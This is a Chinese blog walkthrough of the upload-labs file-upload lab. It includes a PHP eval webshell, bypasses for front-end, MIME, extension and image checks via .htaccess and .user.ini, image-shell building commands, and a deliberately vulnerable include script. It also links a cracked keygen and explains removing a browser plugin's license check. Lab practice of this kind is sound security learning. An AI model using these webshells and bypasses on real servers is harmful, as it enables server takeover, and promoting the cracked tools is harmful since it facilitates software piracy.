• upload-labs通关


    最近,我有个朋友老是反映部署的网站老是被黑客攻击,我看了下就是普通的PHP框架搭建的网站,经过一番排除也清除了木马。为此我专门花1天时间研究一下文件上传漏洞,知己知彼方能百战百胜。这里我选择了一个开源的靶场upload-labs。

    测试环境部署

    游览器插件下载地址

    Cookie-Editor:https://chrome.google.com/webstore/detail/hlkenndednhfkekhgcdicdfddnkalmdm

    HackBar:

    https://hackbar.herokuapp.com/

    使用everything搜索hackbar-panel.js文件的位置,注释或删除以下代码即可过限制:

    chrome.storage.local.get(['license'], function (result) {...});
    
    • 1

    upload-labs项目部署

    upload-labs项目地址:https://github.com/c0ny1/upload-labs

    下载源码后放入入phpstudy的WWW目录中并启动Apache服务器即可完成部署。

    phpstudy下载地址:https://www.xp.cn/

    启动后:

    image-20221019190049607

    网站界面可以创建更多的站点和对应的根目录位置。

    image-20221019190446478

    然后可以访问项目:

    image-20221019190819737

    中国蚁剑

    源码下载地址:https://github.com/AntSwordProject/antSword

    加载器下载:https://gitee.com/AntSwordProject/AntSword-Loader

    使用文档:https://www.yuque.com/antswordproject/antsword/srruro

    使用步骤下载加载器,打开加载器点击初始化。选择一个空目录则自动下载源码后加载,选择一个现成的源码则直接加载完毕。

    image-20221019191821800

    抓包工具HTTP Debugger

    我使用HTTP Debugger Pro v9.11,下载地址:https://pan.baidu.com/s/12fsnle4-idzzF_yx9DwIog?pwd=qum2

    安装步骤:

    • 安装HTTP Debugger Pro v9.11.msi,安装完成后断开网络
    • 运行HTTP Debugger Pro KeyGen By DSiDERS.exe点击Activate注册激活后,启动网络
    • HTTPDebuggerUI_zh.exe放入安装目录,以后用它启动HTTP Debugger

    通关开始

    第一关 过前端js校验

    第一关自然是最简单的,我编写的php脚本为:

     
    	header("Content-type:text/html; charset=gbk");
    	echo "
    ";
    	@eval($_POST['xxm']);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    例如命名为shell.php

    上述代码的最简形式:

     eval($_POST['xxm']);?>
    
    • 1

    关于eval的作用可以查看:https://www.php.net/eval

    我们只需要通关开发者工具中的设置 禁用JavaScript 或者 在控制台执行:

    checkFile=function(){};
    
    • 1

    即可将校验逻辑置空,然后就可以顺利的上传该文件。上传成功后,我们就相当于给目标植入了木马。

    上传后,我们可以复制图片地址:

    image-20221019192928628

    然后就可以通过该地址对目标服务器执行任何系统指令:

    image-20221019193616349

    关于system函数的说明可以查看:https://www.php.net/system

    当然,如果我们使用中国蚁剑来操作会方便的多:

    image-20221019194026128

    连接密码就是post请求所接收的参数,连接成功后,就可以执行任何操作。

    双击目标可以查看文件目录,甚至上传下载文件:

    image-20221019194328121

    右击打开虚拟终端可以手动执行任何命令:

    image-20221019194220487

    可以看到,只要我们的服务器中了这种木马等于整个服务器都彻底被黑了。

    第二关 过后端MIME校验

    这次不仅前端会校验,后端也会校验是否为图片类型的MIME。

    我们打开抓包工具,过前端校验后上传shell.php。虽然上传失败,但是已经发出了包并被HTTPDebugger截获请求信息:

    image-20221019195535942

    在post请求的具体内容中可以看到游览器生成的MIME类型:

    Content-Type: application/octet-stream
    
    • 1

    我们只需重发一遍刚才截获的请求,并修改MIME类型:

    Content-Type: image/jpeg
    
    • 1

    我们再选中该请求的状态下点击编辑并重新提交:

    image-20221019200110653

    然后切换到标头,删除多余内容后,点击提交:

    image-20221019200452553

    然后我们可以看到上传成功:

    image-20221019200633499

    第3-10关 文件名后缀校验

    这8关都是对文件名后缀的校验,每关对文件名后缀的校验都存在不同的漏洞。

    各关在扩展名的全面性上升级:

    • 第3关:禁止上传 .asp|.aspx|.php|.jsp后缀文件!
    • 第4关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
    • 第5关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!
    • 第6关:禁止上传 .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess|.ini后缀文件!

    后端的前置处理逻辑:

    $file_name = trim($_FILES['upload_file']['name']);//文件名首尾去空
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = strrchr($file_name, '.');
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //扩展名首尾去空
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    第6关虽然对扩展名检测全面,但是少了将扩展名转换为小写,所以可以通过PHP大写的扩展名通过检测,例如shell.PHP

    第3关表示在apache的httpd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .phps .php5 .pht时存在的漏洞,使用php的等价扩展名php5即可过关。

    第4关表示Hypertext Access(超文本入口)存在的漏洞,.htaccess文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

    用法:
    AddType application/x-httpd-php .jpg ,代表.jpg文件会当做php来解析。
    SetHandler application/x-httpd-php,代表所有的文件都会当做php来解析。

    开启Hypertext Access,需要在apache的httpd.conf文件中开启mod_rewrite模块,配置文件中LoadMoudle rewrite_module module modules/mod_rewrite.so AllowOverride All,同时需要将所有的AllowOverride none改为AllowOverride All。

    先上传一个png的内容为,再上传文件内容为SetHandler application/x-httpd-php.htaccess文件即可。

    第5关利用用户自定义的配置文件自动包含代码,上传一个以auto_propend_file=1.gif为内容的.user.ini文件,表示所有的php文件都自动包含1.gif文件,.user.ini相当于一个用户自定义的php.ini,再上传一个内容为的命名为1.gif的文件。

    这时我们访问http://localhost/upload/readme.php该文件就会包含1.gif的代码。

    第789关原本可以通过借助抓包工具给文件名增加一个空格、一个点和::$DATA绕过,但是本人测试出现移动文件异常,提示上传出错或即使上传成功也并没有去掉相应字符解析,说明现在新版的php已经不存在这些漏洞。

    第14-17关 校验是否为图片

    • 第14关仅读取文件前2个字节判断是否为图片
    • 第15关使用getimagesize函数读取图片大小判断是否为图片
    • 第16关使用exif_imagetype函数检查是否为图片文件
    • 第17关使用imagecreatefromjpeg函数重新渲染生成图片

    第14关可以上传内容为GIF89ad的php文件,可惜服务器返回的图片地址为http://localhost/upload/5420221019220900.gif,已经修改为图片扩展名,无法直接作为php脚本解析。

    第15-16关向正常图片追加php脚本后再上传。

    准备一个普通图片文件t.gif,windows的合并命令:

    copy t.gif /b + a.php /a a.gif
    
    • 1

    Linux:

    cat t.gif a.php > a.gif
    
    • 1

    然后上传a.gif,得到图片地址:http://localhost/upload/5520221019221956.gif

    此时可以使用文件包含漏洞,有一个可以包含指定文件脚本include.php存在,代码内容:

    
    /*
    本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
    */
    header("Content-Type:text/html;charset=utf-8");
    $file = $_GET['file'];
    if(isset($file)){
        include $file;
    }else{
        show_source(__file__);
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    于是我们可以通过该脚本包含图片中的代码,下面访问http://localhost/include.php?file=upload/5520221019221956.gif。测试连接成功:

    image-20221019222323745

    http://localhost/include.php?file=upload/5420221019220900.gif也测试成功。

    第17关上传上面图片,代码会因二次渲染自动被删除,我们需要制作二次渲染后代码依然能够被保留的图片。这里我使用winhex打开图片,寻找连续的00最多的地方:

    image-20221019224322469

    然后用winhex打开php脚本文件并复制:

    image-20221019224427668

    然后在连续的00最多的地方选中第一个0并粘贴:

    image-20221019224601779

    然后删除前面完全相同长度的字节数保持文件大小不变:

    image-20221019224739667

    保存后,图片整体颜色大幅度被改变:

    image-20221019224949683

    然后我们上传处理后的图片,保存被2次渲染的图片,用文本编辑器查看,可以看到代码依然被保留:

    image-20221019225215430

    最终也成功连接。

    其他关卡有兴趣研究的童鞋可以自行研究。

  • 相关阅读:
    js面试题分享
    使用android 提取小米手机日志
    Docker网络管理:深入理解与最佳实践
    Qt学习08 启航!第一个应用实例
    Android掌控WiFi不完全指南
    Springboot 使用 Elasticsearch
    react中如何对props传的参数进行必要的限制
    C++初阶 日期类的实现(上)
    国产操作系统之中兴新支点NewStartOS安装
    YOLO V5、SAM、RESNET50模型在GPU环境下搭建过程
  • 原文地址:https://blog.csdn.net/as604049322/article/details/127418017